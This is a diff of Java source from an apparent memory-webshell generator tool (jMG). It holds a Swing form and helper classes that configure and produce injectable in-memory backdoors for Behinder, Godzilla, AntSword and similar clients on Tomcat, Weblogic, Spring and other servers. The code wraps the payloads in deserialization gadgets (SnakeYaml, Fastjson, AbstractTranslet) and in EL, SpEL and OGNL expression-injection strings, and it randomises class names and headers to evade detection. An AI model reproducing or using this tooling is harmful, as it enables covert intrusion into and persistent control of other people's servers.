|
});
|
||||||
|
|
||||||
|
textPane.setComponentPopupMenu(MenuUtil.createPopupMenu(frame, textPane));
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public void initConfig(AbstractConfig config) {
|
||||||
|
config.setToolType(toolType);
|
||||||
|
config.setServerType(serverType);
|
||||||
|
config.setShellType(shellType);
|
||||||
|
config.setOutputFormat(formatType);
|
||||||
|
|
||||||
|
ComponentUtil.setTextIfNotEmpty(passText, config::setPass);
|
||||||
|
ComponentUtil.setTextIfNotEmpty(keyText, config::setKey);
|
||||||
|
ComponentUtil.setTextIfNotEmpty(shellClsNameText, config::setShellClassName);
|
||||||
|
ComponentUtil.setTextIfNotEmpty(injectorClsNameText, config::setInjectorClassName);
|
||||||
|
ComponentUtil.setTextIfNotEmpty(uriText, config::setUrlPattern);
|
||||||
|
ComponentUtil.setTextIfNotEmpty(headerNameText, config::setHeaderName);
|
||||||
|
ComponentUtil.setTextIfNotEmpty(headerValueText, config::setHeaderValue);
|
||||||
|
|
||||||
|
if (config.getShellClassName() == null)
|
||||||
|
config.setShellClassName(ClassNameUtil.getRandomShellClassName(config.getShellType()));
|
||||||
|
if (config.getInjectorClassName() == null)
|
||||||
|
config.setInjectorClassName(ClassNameUtil.getRandomInjectorClassName());
|
||||||
|
Map.Entry<String, String> header = RandomHttpHeaderUtil.generateHeader();
|
||||||
|
if (config.getHeaderName() == null) config.setHeaderName(header.getKey());
|
||||||
|
if (config.getHeaderValue() == null) config.setHeaderValue(header.getValue());
|
||||||
|
if (config.getUrlPattern() == null || config.getUrlPattern().equals("/*") || config.getUrlPattern().equals("/")) {
|
||||||
|
if (config.getShellType().equals(Constants.SHELL_WF_HANDLERMETHOD)) {
|
||||||
|
config.setUrlPattern("/" + CommonUtil.getRandomString(6).toLowerCase());
|
||||||
|
} else {
|
||||||
|
config.setUrlPattern("/*");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (config.getOutputFormat().contains(Constants.FORMAT_BCEL))
|
||||||
|
config.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
|
||||||
|
config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName()));
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
public void resetConfig(AbstractConfig config) {
|
||||||
|
config.setPass(null);
|
||||||
|
config.setKey(null);
|
||||||
|
config.setShellClassName(null);
|
||||||
|
config.setInjectorClassName(null);
|
||||||
|
config.setHeaderName(null);
|
||||||
|
config.setHeaderValue(null);
|
||||||
|
config.setUrlPattern(null);
|
||||||
|
config.setInjectorSimpleClassName(null);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
{
|
||||||
|
// GUI initializer generated by IntelliJ IDEA GUI Designer
|
||||||
|
// >>> IMPORTANT!! <<<
|
||||||
|
// DO NOT EDIT OR ADD ANY CODE HERE!
|
||||||
|
$$$setupUI$$$();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Method generated by IntelliJ IDEA GUI Designer
|
||||||
|
* >>> IMPORTANT!! <<<
|
||||||
|
* DO NOT edit this method OR call it in your code!
|
||||||
|
*
|
||||||
|
* @noinspection ALL
|
||||||
|
*/
|
||||||
|
private void $$$setupUI$$$() {
|
||||||
|
jMGPanel = new JPanel();
|
||||||
|
jMGPanel.setLayout(new GridLayoutManager(7, 1, new Insets(0, 0, 0, 0), -1, -1));
|
||||||
|
TopPanel = new JPanel();
|
||||||
|
TopPanel.setLayout(new GridLayoutManager(1, 8, new Insets(0, 0, 0, 0), -1, -1));
|
||||||
|
jMGPanel.add(TopPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
|
||||||
|
toolLabel = new JLabel();
|
||||||
|
this.$$$loadLabelText$$$(toolLabel, this.$$$getMessageFromBundle$$$("messages", "tool.text"));
|
||||||
|
TopPanel.add(toolLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
|
||||||
|
formatLabel = new JLabel();
|
||||||
|
this.$$$loadLabelText$$$(formatLabel, this.$$$getMessageFromBundle$$$("messages", "format.text"));
|
||||||
|
TopPanel.add(formatLabel, new GridConstraints(0, 6, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
|
||||||
|
serverLabel = new JLabel();
|
||||||
|
this.$$$loadLabelText$$$(serverLabel, this.$$$getMessageFromBundle$$$("messages", "server.text"));
|
||||||
|
TopPanel.add(serverLabel, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
|
||||||
|
shellLabel = new JLabel();
|
||||||
|
this.$$$loadLabelText$$$(shellLabel, this.$$$getMessageFromBundle$$$("messages", "shell.text"));
|
||||||
|
TopPanel.add(shellLabel, new GridConstraints(0, 4, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
|
||||||
|
toolBox = new JComboBox();
|
||||||
|
final DefaultComboBoxModel defaultComboBoxModel1 = new DefaultComboBoxModel();
|
||||||
|
defaultComboBoxModel1.addElement("Behinder");
|
||||||
|
defaultComboBoxModel1.addElement("Godzilla");
|
||||||
|
defaultComboBoxModel1.addElement("AntSword");
|
||||||
|
defaultComboBoxModel1.addElement("Suo5");
|
||||||
|
defaultComboBoxModel1.addElement("NeoreGeorg");
|
||||||
|
defaultComboBoxModel1.addElement("Custom");
|
||||||
|
toolBox.setModel(defaultComboBoxModel1);
|
||||||
|
TopPanel.add(toolBox, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(139, -1), null, 0, false));
|
||||||
|
serverBox = new JComboBox();
|
||||||
|
final DefaultComboBoxModel defaultComboBoxModel2 = new DefaultComboBoxModel();
|
||||||
|
defaultComboBoxModel2.addElement("Tomcat");
|
||||||
|
defaultComboBoxModel2.addElement("SpringMVC");
|
||||||
|
defaultComboBoxModel2.addElement("Weblogic");
|
||||||
|
defaultComboBoxModel2.addElement("Websphere");
|
||||||
|
defaultComboBoxModel2.addElement("Resin");
|
||||||
|
defaultComboBoxModel2.addElement("Undertow");
|
||||||
|
defaultComboBoxModel2.addElement("Jetty");
|
||||||
|
defaultComboBoxModel2.addElement("SpringWebFlux");
|
||||||
|
serverBox.setModel(defaultComboBoxModel2);
|
||||||
|
TopPanel.add(serverBox, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(139, -1), null, 0, false));
|
||||||
|
shellBox = new JComboBox();
|
||||||
|
final DefaultComboBoxModel defaultComboBoxModel3 = new DefaultComboBoxModel();
|
||||||
|
defaultComboBoxModel3.addElement("Listener");
|
||||||
|
defaultComboBoxModel3.addElement("Filter");
|
||||||
|
defaultComboBoxModel3.addElement("Interceptor");
|
||||||
|
defaultComboBoxModel3.addElement("WFHandlerMethod");
|
||||||
|
shellBox.setModel(defaultComboBoxModel3);
|
||||||
|
TopPanel.add(shellBox, new GridConstraints(0, 5, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
|
||||||
|
formatBox = new JComboBox();
|
||||||
|
final DefaultComboBoxModel defaultComboBoxModel4 = new DefaultComboBoxModel();
|
||||||
|
defaultComboBoxModel4.addElement("BASE64");
|
||||||
|
defaultComboBoxModel4.addElement("BIGINTEGER");
|
||||||
|
defaultComboBoxModel4.addElement("BCEL");
|
||||||
|
defaultComboBoxModel4.addElement("CLASS");
|
||||||
|
defaultComboBoxModel4.addElement("JAR");
|
||||||
|
defaultComboBoxModel4.addElement("JS");
|
||||||
|
defaultComboBoxModel4.addElement("JSP");
|
||||||
|
formatBox.setModel(defaultComboBoxModel4);
|
||||||
|
TopPanel.add(formatBox, new GridConstraints(0, 7, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
|
||||||
|
textScrollPane = new JScrollPane();
|
||||||
|
jMGPanel.add(textScrollPane, new GridConstraints(5, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_WANT_GROW, new Dimension(-1, 360), new Dimension(36, 207), null, 0, false));
|
||||||
|
textPane = new JTextPane();
|
||||||
|
textPane.setText("");
|
||||||
|
textScrollPane.setViewportView(textPane);
|
||||||
|
MiddlePanel = new JPanel();
|
||||||
|
MiddlePanel.setLayout(new GridLayoutManager(4, 4, new Insets(0, 0, 0, 0), -1, -1));
|
||||||
|
jMGPanel.add(MiddlePanel, new GridConstraints(2, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
|
||||||
|
keyLabel = new JLabel();
|
||||||
|
this.$$$loadLabelText$$$(keyLabel, this.$$$getMessageFromBundle$$$("messages", "key.text"));
|
||||||
|
MiddlePanel.add(keyLabel, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
|
||||||
|
passLabel = new JLabel();
|
||||||
|
this.$$$loadLabelText$$$(passLabel, this.$$$getMessageFromBundle$$$("messages", "pass.text"));
|
||||||
|
MiddlePanel.add(passLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(34, 16), null, 0, false));
|
||||||
|
headerValueLabel = new JLabel();
|
||||||
|
this.$$$loadLabelText$$$(headerValueLabel, this.$$$getMessageFromBundle$$$("messages", "headerValue.text"));
|
||||||
|
MiddlePanel.add(headerValueLabel, new GridConstraints(1, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
|
||||||
|
uriText = new JTextField();
|
||||||
|
uriText.setText("/*");
|
||||||
|
uriText.setToolTipText("可选,默认为 /*");
|
||||||
|
MiddlePanel.add(uriText, new GridConstraints(3, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
|
||||||
|
headerValueText = new JTextField();
|
||||||
|
headerValueText.setToolTipText("可选,默认随机生成");
|
||||||
|
MiddlePanel.add(headerValueText, new GridConstraints(1, 3, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
|
||||||
|
keyText = new JTextField();
|
||||||
|
keyText.setToolTipText("可选,默认随机生成");
|
||||||
|
MiddlePanel.add(keyText, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
|
||||||
|
headerNameLabel = new JLabel();
|
||||||
|
this.$$$loadLabelText$$$(headerNameLabel, this.$$$getMessageFromBundle$$$("messages", "headerName.text"));
|
||||||
|
MiddlePanel.add(headerNameLabel, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
|
||||||
|
uriLabel = new JLabel();
|
||||||
|
this.$$$loadLabelText$$$(uriLabel, this.$$$getMessageFromBundle$$$("messages", "uri.text"));
|
||||||
|
MiddlePanel.add(uriLabel, new GridConstraints(3, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
|
||||||
|
headerNameText = new JTextField();
|
||||||
|
headerNameText.setToolTipText("可选,默认随机生成");
|
||||||
|
MiddlePanel.add(headerNameText, new GridConstraints(1, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
|
||||||
|
passText = new JTextField();
|
||||||
|
passText.setText("");
|
||||||
|
passText.setToolTipText("可选,默认随机生成");
|
||||||
|
MiddlePanel.add(passText, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
|
||||||
|
shellClsNameLabel = new JLabel();
|
||||||
|
this.$$$loadLabelText$$$(shellClsNameLabel, this.$$$getMessageFromBundle$$$("messages", "shellClsName.text"));
|
||||||
|
MiddlePanel.add(shellClsNameLabel, new GridConstraints(2, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
|
||||||
|
injectorClsNameLabel = new JLabel();
|
||||||
|
this.$$$loadLabelText$$$(injectorClsNameLabel, this.$$$getMessageFromBundle$$$("messages", "injectorClsName.text"));
|
||||||
|
MiddlePanel.add(injectorClsNameLabel, new GridConstraints(2, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
|
||||||
|
injectorClsNameText = new JTextField();
|
||||||
|
injectorClsNameText.setToolTipText("可选,默认随机生成");
|
||||||
|
MiddlePanel.add(injectorClsNameText, new GridConstraints(2, 3, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
|
||||||
|
shellClsNameText = new JTextField();
|
||||||
|
shellClsNameText.setToolTipText("可选,默认随机生成");
|
||||||
|
MiddlePanel.add(shellClsNameText, new GridConstraints(2, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false));
|
||||||
|
TopSep = new JSeparator();
|
||||||
|
jMGPanel.add(TopSep, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
|
||||||
|
MiddleSep = new JSeparator();
|
||||||
|
jMGPanel.add(MiddleSep, new GridConstraints(3, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
|
||||||
|
BottomPanel = new JPanel();
|
||||||
|
BottomPanel.setLayout(new GridLayoutManager(1, 5, new Insets(0, 0, 0, 0), -1, -1));
|
||||||
|
jMGPanel.add(BottomPanel, new GridConstraints(4, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
|
||||||
|
enableGadget = new JCheckBox();
|
||||||
|
this.$$$loadButtonText$$$(enableGadget, this.$$$getMessageFromBundle$$$("messages", "gadget.text"));
|
||||||
|
enableGadget.setToolTipText("根据漏洞类型自动完成对类文件的封装,如继承类、实现接口、添加注解等");
|
||||||
|
BottomPanel.add(enableGadget, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
|
||||||
|
gadgetTypeBox = new JComboBox();
|
||||||
|
final DefaultComboBoxModel defaultComboBoxModel5 = new DefaultComboBoxModel();
|
||||||
|
defaultComboBoxModel5.addElement("JDK_AbstractTranslet");
|
||||||
|
defaultComboBoxModel5.addElement("SnakeYaml");
|
||||||
|
defaultComboBoxModel5.addElement("XALAN_AbstractTranslet");
|
||||||
|
defaultComboBoxModel5.addElement("FastjsonGroovy");
|
||||||
|
gadgetTypeBox.setModel(defaultComboBoxModel5);
|
||||||
|
BottomPanel.add(gadgetTypeBox, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
|
||||||
|
enableExpr = new JCheckBox();
|
||||||
|
this.$$$loadButtonText$$$(enableExpr, this.$$$getMessageFromBundle$$$("messages", "expr.text"));
|
||||||
|
enableExpr.setToolTipText("根据语句类型自动生成相应内存马注入的表达式语句");
|
||||||
|
BottomPanel.add(enableExpr, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
|
||||||
|
exprBox = new JComboBox();
|
||||||
|
final DefaultComboBoxModel defaultComboBoxModel6 = new DefaultComboBoxModel();
|
||||||
|
defaultComboBoxModel6.addElement("EL");
|
||||||
|
defaultComboBoxModel6.addElement("SpEL");
|
||||||
|
defaultComboBoxModel6.addElement("OGNL");
|
||||||
|
defaultComboBoxModel6.addElement("FreeMarker");
|
||||||
|
defaultComboBoxModel6.addElement("Velocity");
|
||||||
|
defaultComboBoxModel6.addElement("ScriptEngineManager(JS)");
|
||||||
|
exprBox.setModel(defaultComboBoxModel6);
|
||||||
|
BottomPanel.add(exprBox, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
|
||||||
|
generateButton = new JButton();
|
||||||
|
this.$$$loadButtonText$$$(generateButton, this.$$$getMessageFromBundle$$$("messages", "generate.text"));
|
||||||
|
BottomPanel.add(generateButton, new GridConstraints(0, 4, 1, 1, GridConstraints.ANCHOR_EAST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
|
||||||
|
TipPanel = new JPanel();
|
||||||
|
TipPanel.setLayout(new GridLayoutManager(1, 3, new Insets(0, 0, 0, 0), -1, -1));
|
||||||
|
jMGPanel.add(TipPanel, new GridConstraints(6, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false));
|
||||||
|
final Spacer spacer1 = new Spacer();
|
||||||
|
TipPanel.add(spacer1, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, 1, null, null, null, 0, false));
|
||||||
|
authorLabel = new JLabel();
|
||||||
|
authorLabel.setText("请勿用于非法用途");
|
||||||
|
TipPanel.add(authorLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
|
||||||
|
noticeLabel = new JLabel();
|
||||||
|
noticeLabel.setText("by pen4uin");
|
||||||
|
TipPanel.add(noticeLabel, new GridConstraints(0, 2, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false));
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Method $$$cachedGetBundleMethod$$$ = null;
|
||||||
|
|
||||||
|
private String $$$getMessageFromBundle$$$(String path, String key) {
|
||||||
|
ResourceBundle bundle;
|
||||||
|
try {
|
||||||
|
Class<?> thisClass = this.getClass();
|
||||||
|
if ($$$cachedGetBundleMethod$$$ == null) {
|
||||||
|
Class<?> dynamicBundleClass = thisClass.getClassLoader().loadClass("com.intellij.DynamicBundle");
|
||||||
|
$$$cachedGetBundleMethod$$$ = dynamicBundleClass.getMethod("getBundle", String.class, Class.class);
|
||||||
|
}
|
||||||
|
bundle = (ResourceBundle) $$$cachedGetBundleMethod$$$.invoke(null, path, thisClass);
|
||||||
|
} catch (Exception e) {
|
||||||
|
bundle = ResourceBundle.getBundle(path);
|
||||||
|
}
|
||||||
|
return bundle.getString(key);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @noinspection ALL
|
||||||
|
*/
|
||||||
|
private void $$$loadLabelText$$$(JLabel component, String text) {
|
||||||
|
StringBuffer result = new StringBuffer();
|
||||||
|
boolean haveMnemonic = false;
|
||||||
|
char mnemonic = '\0';
|
||||||
|
int mnemonicIndex = -1;
|
||||||
|
for (int i = 0; i < text.length(); i++) {
|
||||||
|
if (text.charAt(i) == '&') {
|
||||||
|
i++;
|
||||||
|
if (i == text.length()) break;
|
||||||
|
if (!haveMnemonic && text.charAt(i) != '&') {
|
||||||
|
haveMnemonic = true;
|
||||||
|
mnemonic = text.charAt(i);
|
||||||
|
mnemonicIndex = result.length();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
result.append(text.charAt(i));
|
||||||
|
}
|
||||||
|
component.setText(result.toString());
|
||||||
|
if (haveMnemonic) {
|
||||||
|
component.setDisplayedMnemonic(mnemonic);
|
||||||
|
component.setDisplayedMnemonicIndex(mnemonicIndex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @noinspection ALL
|
||||||
|
*/
|
||||||
|
private void $$$loadButtonText$$$(AbstractButton component, String text) {
|
||||||
|
StringBuffer result = new StringBuffer();
|
||||||
|
boolean haveMnemonic = false;
|
||||||
|
char mnemonic = '\0';
|
||||||
|
int mnemonicIndex = -1;
|
||||||
|
for (int i = 0; i < text.length(); i++) {
|
||||||
|
if (text.charAt(i) == '&') {
|
||||||
|
i++;
|
||||||
|
if (i == text.length()) break;
|
||||||
|
if (!haveMnemonic && text.charAt(i) != '&') {
|
||||||
|
haveMnemonic = true;
|
||||||
|
mnemonic = text.charAt(i);
|
||||||
|
mnemonicIndex = result.length();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
result.append(text.charAt(i));
|
||||||
|
}
|
||||||
|
component.setText(result.toString());
|
||||||
|
if (haveMnemonic) {
|
||||||
|
component.setMnemonic(mnemonic);
|
||||||
|
component.setDisplayedMnemonicIndex(mnemonicIndex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @noinspection ALL
|
||||||
|
*/
|
||||||
|
public JComponent $$$getRootComponent$$$() {
|
||||||
|
return jMGPanel;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
package jmg.gui;
|
||||||
|
|
||||||
|
import com.formdev.flatlaf.FlatLightLaf;
|
||||||
|
import jmg.gui.form.jMGForm;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
|
||||||
|
public class jMGApp {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
FlatLightLaf.setup();
|
||||||
|
SwingUtilities.invokeLater(jMGApp::createAndShowGUI);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void createAndShowGUI() {
|
||||||
|
jMGForm.start();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,78 @@
|
|||||||
|
package jmg.gui.util;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.DocumentEvent;
|
||||||
|
import javax.swing.event.DocumentListener;
|
||||||
|
import javax.swing.text.JTextComponent;
|
||||||
|
import javax.swing.text.SimpleAttributeSet;
|
||||||
|
import javax.swing.text.StyleConstants;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.ItemEvent;
|
||||||
|
import java.awt.event.ItemListener;
|
||||||
|
import java.util.function.Consumer;
|
||||||
|
|
||||||
|
public class ComponentUtil {
|
||||||
|
public static DocumentListener createDocumentListener(JTextComponent textField, Consumer<String> updateFunction) {
|
||||||
|
return new DocumentListener() {
|
||||||
|
@Override
|
||||||
|
public void insertUpdate(DocumentEvent e) {
|
||||||
|
updateText();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void removeUpdate(DocumentEvent e) {
|
||||||
|
updateText();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void changedUpdate(DocumentEvent e) {
|
||||||
|
// 文本改变时触发(对于普通文本字段可以忽略)
|
||||||
|
}
|
||||||
|
|
||||||
|
private void updateText() {
|
||||||
|
String text = textField.getText();
|
||||||
|
if (text.isEmpty()) {
|
||||||
|
updateFunction.accept(null);
|
||||||
|
} else {
|
||||||
|
updateFunction.accept(text);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 恢复滚动条位置
|
||||||
|
* @param scrollPane
|
||||||
|
*/
|
||||||
|
public static void restoreScrollPosition(JScrollPane scrollPane) {
|
||||||
|
try {
|
||||||
|
// windows 下窗口闪动
|
||||||
|
scrollPane.setDoubleBuffered(true);
|
||||||
|
int scrollValue = scrollPane.getVerticalScrollBar().getValue();
|
||||||
|
SwingUtilities.invokeLater(() -> {
|
||||||
|
scrollPane.getVerticalScrollBar().setValue(scrollValue);
|
||||||
|
});
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
} catch (Throwable e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setTextIfNotEmpty(JTextComponent component, Consumer<String> setter) {
|
||||||
|
String text = component.getText().trim();
|
||||||
|
if (!text.isEmpty()) {
|
||||||
|
setter.accept(text);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static SimpleAttributeSet createSimpleAttributeSet(Color foregroundColor) {
|
||||||
|
SimpleAttributeSet attributeSet = new SimpleAttributeSet();
|
||||||
|
StyleConstants.setBold(attributeSet, true);
|
||||||
|
StyleConstants.setItalic(attributeSet, false);
|
||||||
|
StyleConstants.setForeground(attributeSet, foregroundColor);
|
||||||
|
return attributeSet;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
package jmg.gui.util;
|
||||||
|
|
||||||
|
import me.gv7.woodpecker.plugin.exprs.*;
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
|
||||||
|
public class JExprUtil {
|
||||||
|
public static String[] genExprPayload(AbstractConfig config){
|
||||||
|
byte[] bytes = config.getInjectorBytes();
|
||||||
|
switch (config.getExprEncoder()){
|
||||||
|
case "EL":
|
||||||
|
return new ELExpr().genMemShell(bytes);
|
||||||
|
case "FreeMarker":
|
||||||
|
return new FreeMarkerExpr().genMemShell(bytes);
|
||||||
|
case "OGNL":
|
||||||
|
return new OGNLExpr().genMemShell(bytes);
|
||||||
|
case "SpEL":
|
||||||
|
return new SpELExpr().genMemShell(bytes);
|
||||||
|
case "Velocity":
|
||||||
|
return new VelocityExpr().genMemShell(bytes);
|
||||||
|
case "ScriptEngineManager(JS)":
|
